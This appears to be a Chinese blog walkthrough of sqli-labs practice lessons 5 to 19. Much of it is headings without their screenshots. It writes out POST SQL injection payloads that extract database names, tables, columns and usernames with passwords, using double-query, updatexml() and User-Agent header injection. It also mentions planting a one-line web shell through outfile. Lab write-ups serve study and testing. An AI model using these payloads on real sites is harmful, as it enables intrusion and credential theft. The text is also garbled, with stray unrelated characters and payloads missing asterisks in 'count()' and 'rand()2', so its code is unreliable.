less-5 ..less-6(構(gòu)造 報(bào)錯(cuò)語句)
less-5 (GET 類 布爾盲注)
less-6 (GET 類 時(shí)間盲注)
less-7(導(dǎo)出 outfile)
less-8(布爾型盲注)
less-9(單引號 時(shí)間盲注)
less-10(雙引號 時(shí)間盲注)
less-6
less-7
修改 my.ini 或者 使用 配置上的路徑
my.ini 上的路徑
emmm...
查看 um.txt
我們可以直接將一句話木馬導(dǎo)入進(jìn)去玫恳。
結(jié)果
less-13(單引號 雙注入)
學(xué)習(xí) sql 注入再次強(qiáng)調(diào)concat_ws的一個(gè)參數(shù)是連接字符串的分隔符,這里很明顯可以看到,但一般第一個(gè)參數(shù)一般都不是這樣傳過去的,因?yàn)闀籬tml編碼管引,要使用mysql的char函數(shù)將十進(jìn)制ASCII碼轉(zhuǎn)化成字符,如下面的(:的十進(jìn)制ASCII是58),當(dāng)然這里的分隔符也可以有多個(gè)
查表
less-14 ( POST 雙注入)
查表
查字段
查密碼
less-15(POST 類 布爾盲注)
查表
查字段
查密碼
less-16 (POST 類 時(shí)間盲注)
查表
Less-17 (子查詢)子查詢注入的原理即雙注入
concat 函數(shù) group_concat 函數(shù) concat_ws()函數(shù)
concat()與group_concat()
查詢語句:
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,database(),0x27,0x7e)),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
查表
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,table_name,0x27,0x7e) from information_schema.tables where table_schema='security'),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
查字段
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
查 數(shù)據(jù)
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select concat(0x7e,id,0x27,username,0x27,password,0x7e) from users limit 0,1),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
less-17(通過updatexml())
查庫
uname=admin&passwd=' or updatexml(1,concat(0x7e,database(),0x7e),0)%23
查表
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),0)%23
查字段
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),0)%23
查數(shù)據(jù)
然并沾瓦。。。
需要 這樣:uname=admin&passwd=' or updatexml(1,concat(0x7e,(select * from(select concat_ws(char(32,58,32),username,password) from users limit 0,1)a),0x7e),0)%23
less-18(_post 用戶代理 頭部注入)
修改 user-Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0' or updatexml(0,concat(0x7e,database(),0x7e),0),'1')#
less-19
修改 Referer
查數(shù)據(jù)